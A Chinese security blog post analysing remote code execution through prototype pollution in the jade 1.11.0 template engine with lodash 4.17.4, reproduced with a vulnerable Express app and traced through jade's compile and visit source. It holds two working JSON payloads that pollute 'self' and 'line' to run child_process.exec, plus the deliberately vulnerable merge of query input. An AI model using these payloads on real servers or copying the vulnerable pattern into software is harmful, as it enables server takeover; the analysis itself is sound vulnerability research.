jade原型链污染rce分析

记录自己的理解,有什么不对的欢迎各位师傅指正。

一、环境搭建

npm install jade@1.11.0
npm install lodash@4.17.4
npm install express

app.js

const express = require('express');
const path = require('path');
var lodash= require('lodash');
const app = express();
var router = express.Router();

app.set('views', path.join(__dirname));
app.engine('jade', require('jade').__express);
app.set("view engine", "jade");

app.use(express.json()).use(express.urlencoded({
    extended: false
}));



router.get('/', (req, res, next) => {
    var malicious_payload = req.query.malicious_payload;

    lodash.merge({}, JSON.parse(malicious_payload));
    res.render('./index.jade', {
        title: 'hello',
        name: ''
    });
});
app.use('/', router)

app.listen(8888, () => console.log('Example app listening on port http://127.0.0.1:8888 !'))

index.jade

h1 title: #{title}
p hello #{name}

二、漏洞复现

{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').exec('calc')//"}}



{"__proto__":{"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}

三、漏洞分析

3.1、流程分析

前面这部分和ejs一样的。

入口点还是res.render

进入app.render,往下走,走到tryRender函数,继续跟进。

调用了viewrender方法。继续跟进。

接着看到this.engine,之前分析的ejs有分析过,这个是什么。就不再分析了,继续跟进。

这里会进入jade模板文件的lib目录下的index.js,调用了exports.__express这个函数。然后调用renderFile来渲染文件。继续跟进。

来到函数最后一行,处理模板缓存的一个函数。先是执行handleTemplateCache(options)这个函数,肯定返回一个函数,我们假设把这个函数命名为fn,那么后面这个(options)就是调用fn(options)。继续跟进。

可以看到我打断点的那一行,也就是174行,注意这里返回的内容赋值给了templ变量,然后返回出去了,所以这里一定返回了一个函数,跟进看看。

我把这段代码全部贴出来。获取options变量,获取str变量。然后解析这两个变量,赋值给parsed变量。如果options.compileDebug不等于false,也就是debug模式开起来了。进入if,没开起来就将parsed.body赋值给fn,说明parsed里面可能有body这个属性。如果没有的话,那么就可以污染控制。下面一行代码将fn的值作为函数体创建一个函数,命名为fn。所以说我们这个parsedbody属性能控制的话,这个函数内容就能控制,如果说这个函数能执行,那么我们就可以代码执行。这是一个思考点。接着继续分析,下面创建一个res函数,里面传入locals参数,然后函数体里面调用的就是fnjade的值就就是Object.create(runtime),相当于嵌套了一下,调用了res的话,就会调用fn函数。然后我们直接看最后一行。确实是返回了res,我们记得之前的时候我们需要返回一个函数,然后会执行这个函数,所以说这个fn函数一定会被执行。那么我们再来看看这个parse.body是否能被控制。我们进入parse(str,options)继续分析。

exports.compile = function(str, options){
  var options = options || {}
    , filename = options.filename
      ? utils.stringify(options.filename)
      : 'undefined'
    , fn;

  str = String(str);

  var parsed = parse(str, options);
  if (options.compileDebug !== false) {
    fn = [
        'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
      , 'try {'
      , parsed.body
      , '} catch (err) {'
      , '  jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
      , '}'
    ].join('\n');
  } else {
    fn = parsed.body;
  }
  fn = new Function('locals, jade', fn)
  var res = function(locals){ return fn(locals, Object.create(runtime)) };
  if (options.client) {
    res.toString = function () {
      var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
      err.name = 'Warning';
      console.error(err.stack || /* istanbul ignore next */ err.message);
      return exports.compileClient(str, options);
    };
  }
  res.dependencies = parsed.dependencies;
  return res;
};

1、判断options.lexer是否存在,存在就产生一个警告。

2、创建一个解析器。

3、定义一个tokens变量。

4、解析获取tokens并赋值给tokens

5、创建一个编译器。

6、定义js变量。

7将编译的结果赋值给js变量。

8、判断debug模式有没有开启,开启则控制台输出错误。

9、定义一个globals数组变量。

10、判断options.globals存不存在,存在就将其进行slice操作之后赋值给globals

11、将jadejade_mixins、...、buf等值赋值给globals数组。

12、定义body变量并进行赋值操作,里面有一个三元符的运算,如果options.selftrue的话,就将'var self = locals || {};\n' + js 拼接进入body变量。否则将addWith('locals || {}', '\n' + js, globals)拼接进去。

13、返回一个对象,里面有两个属性,一个是body属性,一个是dependencies属性。

body属性的值等于里面 的body变量。所以我们只需要能控制body变量,就能进行代码执行。

function parse(str, options){

  if (options.lexer) {
    console.warn('Using `lexer` as a local in render() is deprecated and '
               + 'will be interpreted as an option in Jade 2.0.0');
  }

  // Parse
  var parser = new (options.parser || Parser)(str, options.filename, options);
  var tokens;
  try {
    // Parse
    tokens = parser.parse();
  } catch (err) {
    parser = parser.context();
    runtime.rethrow(err, parser.filename, parser.lexer.lineno, parser.input);
  }

  // Compile
  var compiler = new (options.compiler || Compiler)(tokens, options);
  var js;
  try {
    js = compiler.compile();
  } catch (err) {
    if (err.line && (err.filename || !options.filename)) {
      runtime.rethrow(err, err.filename, err.line, parser.input);
    } else {
      if (err instanceof Error) {
        err.message += '\n\nPlease report this entire error and stack trace to https://github.com/jadejs/jade/issues';
      }
      throw err;
    }
  }

  // Debug compiler
  if (options.debug) {
    console.error('\nCompiled Function:\n\n\u001b[90m%s\u001b[0m', js.replace(/^/gm, '  '));
  }

  var globals = [];

  if (options.globals) {
    globals = options.globals.slice();
  }

  globals.push('jade');
  globals.push('jade_mixins');
  globals.push('jade_interp');
  globals.push('jade_debug');
  globals.push('buf');

  var body = ''
    + 'var buf = [];\n'
    + 'var jade_mixins = {};\n'
    + 'var jade_interp;\n'
    + (options.self
      ? 'var self = locals || {};\n' + js
      : addWith('locals || {}', '\n' + js, globals)) + ';'
    + 'return buf.join("");';
  return {body: body, dependencies: parser.dependencies};
}

这里我们发现有他将js这个变量拼接进了body变量,我们仔细看看js这个变量怎么获取到的。所以进入

js = compiler.compile();代码中。

1、给this.buf赋值为一个空数组用来存放数据,buf明显就是缓存的意思,最后可以看到return出去了,并且将里面的数据以换行为分割进行的拼接。

2、判断this.pp是否为true。如果是的话将var jade_indent = []; 代码放入这个数组。

3、设置this.lastBufferedIdx为-1。

4、调用this.visit这个函数,传入的参数为this.node

5、下面的代码有注释,这里就不分析,主要看this.visit函数,我们跟进分析。

1、将this.debug赋值给debug

2、如果开启了debug模式,然后将里面的代码拼接进buf这个数组里面,可以看到node.linenode.filename都拼接进去了。这里两个参数如果可以控制的话。那么就能代码执行了。这里有一个问题,那就是node.line是有值的。其实它运行了很多遍visit这个函数,我们接下来看看payload怎么拼接进去的。

3、后面代码就不重要了。

第一次调用node.line存在没法控制,接着我们来到visitNode函数。传入的node参数是一个Block的一个对象。那么我们需要了解visitNode这个函数的作用,例如我们传入的Block对象,那么它就会调用visitBlock这个函数,如果是Tag这个对象,那么就会调用visitTag这个对象,以此类推。那么我们继续分析。

可以看到visitNode里面调用了visit这个函数。传入的参数是一个Tag对象。

Tag对象中的line依然不可以控制,我们继续跟进。调用visitTag函数。

visitTag里面还有visit函数,传入的参数是一个block这个类,注意看这个类里面是没有line这个变量的,所以会使用到我们的payload。自此,我们的payload就被拼接,导致代码执行的产生。

buf内容

Array(4) [jade_debug.unshift(new jade.DebugItem( 0, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
jade_debug.unshift(new jade.DebugItem( 1, "C:\\Use…\angelkat\\Desktop\\nodejs\\jade\\index.jade" ));,
buf.push("<h1>");,
jade_debug.unshift(new jade.DebugItem( global.proc…rocess').exec('calc'), jade_debug[0].filename ));]

可以看到拼接进去的时候是DebugItem的第一个参数,所以可以直接执行命令。

参考

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值